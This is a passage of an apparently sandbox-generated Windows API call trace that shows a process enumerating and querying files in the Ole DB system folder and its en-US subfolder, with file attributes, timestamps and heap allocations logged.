nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.933] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.933] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4300 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.933] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.933] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.934] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.934] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.934] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.934] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.934] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.934] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0065.934] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.934] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.934] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.934] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.934] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.934] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4320 [0065.934] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7410 [0065.934] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.934] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.935] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4340 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb75a8 [0065.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.935] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.935] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.936] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.936] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.936] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.936] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0065.936] GetLastError () returned 0x12 [0065.936] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0065.936] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0065.936] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.936] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.936] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.936] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0065.937] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0065.937] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb8d10 [0065.937] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb8d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb8d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0065.937] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8d10) returned 1 [0065.937] NtClose (Handle=0x148) returned 0x0 [0065.937] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.937] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7630 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.938] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0065.938] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.938] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0065.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7630) returned 1 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4360 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5ca0 [0065.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.938] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.938] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb43a0 [0065.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5eb0 [0065.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.939] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0065.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb43c0 [0065.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb60c0 [0065.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.939] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0065.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb43e0 [0065.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5fb8 [0065.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7740) returned 1 [0065.939] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0065.939] GetLastError () returned 0x12 [0065.939] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0065.939] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0065.940] GetLastError () returned 0x12 [0065.940] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.940] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0065.940] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0065.940] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, 